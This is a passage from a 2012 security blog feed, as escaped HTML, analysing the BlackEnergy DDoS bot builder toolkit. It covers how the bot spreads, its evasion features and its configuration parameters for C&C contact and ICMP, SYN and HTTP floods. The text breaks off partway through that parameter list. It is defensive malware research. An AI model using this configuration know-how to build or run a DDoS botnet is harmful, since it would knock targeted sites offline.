&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXfDZWtvOz7mp0wWv3a4L_mjAuzeZkRN0MCY3e2f0wwfQFdrPx53K9U5EQa9e0IGLKYC2HIBB_0K337yM-sMBrlo2SK5LYaBsleOqdGPJnU3VZWL-bnNpo68GNuPXV0FNPTwiPkwYEDZk/s1600/16.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXfDZWtvOz7mp0wWv3a4L_mjAuzeZkRN0MCY3e2f0wwfQFdrPx53K9U5EQa9e0IGLKYC2HIBB_0K337yM-sMBrlo2SK5LYaBsleOqdGPJnU3VZWL-bnNpo68GNuPXV0FNPTwiPkwYEDZk/s400/16.png&quot; height=&quot;102&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2012/08/inside-ddos-botnets-blackenergy-and_27.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOyA6d-uNGIzLAilm6ztay_TVIShX6K3qq8zTOrdlBJQXVoXj-aMHE55CLa4iTLPZWnBCEIwc8b-oZ-3TL9wY_HkslWpqRV0BHpGyZvk1WZuzQp06NUb7MJ3hnP2N0u401YuSJQzogg3Y/s72-c/10.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-214168048164669070</guid><pubDate>Mon, 27 Aug 2012 11:45:00 +0000</pubDate><atom:updated>2014-06-04T23:26:51.523+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Botnet Research</category><title>Inside The DDoS Botnets - BlackEnergy and Darkness - Part 1</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6.0pt;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;BlackEnergy was very popular DDoS bot
which used to prevail couple of years back . This bot has been under
development and has evolved since quite some time with its successor named
Darkness bot with the similar abilities.This Bot has evolved with new
features continuously added to extend its malicious capabilities . Researchers
have been keeping an eye on this and analysis of the Command and Control(C&amp;amp;C)
traffic of the bot samples existing in the wild has revealed that this bot
should be a product of the Russian Cyber market , while the traces indicating &amp;nbsp;the same have been found within the bot
executables as well.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;This bot comes with a variety of DoSing capabilities and has been observed to be targeting the Russian Websites. Recently, during our Investigation, we managed to get access to the BlackEnergy builder toolkit which unlike previous available builder versions , comes with the option of building the polymorphic binaries to bypass AV detections and also includes anti-debugging features. The toolkit comes with the root directory www/ which includes the PHP scripts for controlling the Bot and other details such as MySQL database schemas which gives fair enough idea on the architecture of the Botnet.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;This blog &amp;nbsp;provides detailed analysis of the BlackEnergy bot builder toolkit. We will also examine the server side PHP scripts to understand the bot command and control channel. Additionally we will also analyze the DDoS traffic generated by the bot. Later part of this series also sheds some light over the recently emerging Darkness bot which is believed to be related to BlackEnergy and has overshadowed BlackEnergy in terms of its DoSing capabilities.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;BlackEnergy DDoS Bot builder:&lt;/span&gt;&lt;/u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRaHTtgqyYcnoPAFO2IXAFeDbEqXk4_9WdO57f0hdXY4EiD1vvVqjS2QHniRw8CtMrOeJexjDGeIwB3_k0FeAekjNblam27e4AEebcdYiRp8XqtazYlDxg2mpFgXsSwkJluKseeLPG75Y/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRaHTtgqyYcnoPAFO2IXAFeDbEqXk4_9WdO57f0hdXY4EiD1vvVqjS2QHniRw8CtMrOeJexjDGeIwB3_k0FeAekjNblam27e4AEebcdYiRp8XqtazYlDxg2mpFgXsSwkJluKseeLPG75Y/s320/1.png&quot; height=&quot;226&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Above screenshot is of the builder
toolkit used to build the bot client which is then usually downloaded by
victims through drive-by-downloads or distributed through Spam e-mails.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Below are all the default parameters
used to build the bot client and as such most of the parameters are very well
self explanatory. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Host&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: C&amp;amp;C Server
communicating with the bot client .&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 108.0pt; margin-right: 0cm; margin-top: 0cm; text-indent: -108.0pt;&quot;&gt;
&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Request
Rate&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : Specifies the time interval after
which new command should be&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;fetched
from the C&amp;amp;C server.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 108.0pt; margin-right: 0cm; margin-top: 0cm; text-indent: -108.0pt;&quot;&gt;
&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Build
ID&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: Unique Build ID for each bot
. This will change every time the builder &amp;nbsp;tool kit &amp;nbsp;is invoked. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 108.0pt; margin-right: 0cm; margin-top: 0cm; text-indent: -108.0pt;&quot;&gt;
&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Default
Command&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;: Command to execute if bot client cannot
connect to the C&amp;amp;C server.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Execute
after&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: Time after which command should be
executed. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Outfile&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;:
Final bot client executable name&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Default DDoS parameters &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;ICMP
Freq&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;: No. of ICMP packets to send in
the attack. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;ICMP
Size&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp; &amp;nbsp;: Size of the ICMP packets in the
attack. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0cm 0cm 0.0001pt 108pt; text-indent: -108pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Syn
Freq&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;: No. of SYN packets to send in
SYN flood&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0cm 0cm 0.0001pt 108pt; text-indent: -108pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;HTTP
Freq&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;: No. of HTTP Request to send in
the HTTP flood&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;HTTP
Threads&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;: No. of HTTP threads to create during
